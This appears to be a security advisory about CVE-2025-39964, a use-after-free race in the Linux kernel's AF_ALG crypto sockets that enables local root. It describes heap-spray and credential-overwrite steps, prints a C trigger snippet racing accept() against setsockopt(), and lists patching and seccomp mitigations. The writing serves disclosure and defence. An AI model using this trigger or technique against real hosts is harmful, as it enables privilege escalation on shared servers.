Kernel Security Threat: Cryptographic Socket Subsystem Exploited

The Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2025-39964 to its Known Exploited Vulnerabilities (KEV) catalog. The vulnerability represents a high-severity local privilege escalation flaw located inside the Linux Kernel Cryptographic API subsystem, assigned a rating of CVSS 7.8 (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H). Active exploitation telemetry reveals that threat actors are deploying targeted local root exploits on multi-tenant cloud servers and shared hosting environments to escape user confinement.

The AF_ALG address family in the Linux kernel exposes kernel-space cryptographic cipher transforms (symmetric ciphers, hashing, AEAD algorithms) directly to user-space applications through standard Berkeley socket interfaces. Because access to AF_ALG sockets does not require administrative privileges, any local unprivileged process can open, configure, and manipulate cryptographic transform sockets.

Root Cause Forensics: Concurrent Write & Accept Race Condition (CWE-362)

The vulnerability resides in crypto/af_alg.c within the kernel socket accept routines:

  • Inadequate Mutual Exclusion: When an application initializes an AF_ALG socket using socket(AF_ALG, SOCK_SEQPACKET, 0), binds it to a cipher transform, and issues an accept() call to obtain an operational child socket, the kernel creates an internal af_alg_ctx context structure.
  • Race Window in Concurrent Threads: When two or more threads concurrently perform write() and accept() or setsockopt() operations on the parent socket descriptor without synchronization, the reference counting logic governing the underlying alg_type transform collapses.
  • Use-After-Free (UAF) & SLUB Heap Manipulation: One thread frees the socket context memory back to the SLUB allocator (kmalloc-512 or kmalloc-1024) while the second thread retains an active pointer. By spraying the kernel heap with controlled data structures (such as msg_msg or pipe_buffer objects), an attacker overwrites function pointers to redirect kernel execution flow, overwriting process credentials (commit_creds(prepare_kernel_cred(NULL))) to achieve root.
// Exploit Snippet: Triggering AF_ALG Socket Race Condition
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <pthread.h>

int parent_sock;

void *racer_thread(void *arg) {
    while (1) {
        int child = accept(parent_sock, NULL, NULL);
        if (child >= 0) close(child);
    }
}

int main() {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type = "hash",
        .salg_name = "sha256"
    };

    parent_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(parent_sock, (struct sockaddr *)&sa, sizeof(sa));

    pthread_t tid;
    pthread_create(&tid, NULL, racer_thread, NULL);

    while (1) {
        // Concurrent setsockopt racing against accept()
        setsockopt(parent_sock, SOL_ALG, ALG_SET_KEY, "test", 4);
    }
}

Cloud Workload Impact & Mitigation

Layer Control Measure Implementation Directive
Kernel Patching Deploy Updated Kernel Upgrade Linux kernel to patched releases that introduce proper mutex locking across af_alg_accept.
Module Blacklisting Disable AF_ALG If user-space cryptographic acceleration is not required, blacklist af_alg in /etc/modprobe.d/blacklist.conf.
Container Hardening Seccomp Filtering Enforce seccomp profiles blocking the socket(AF_ALG, ...) system call inside untrusted containers.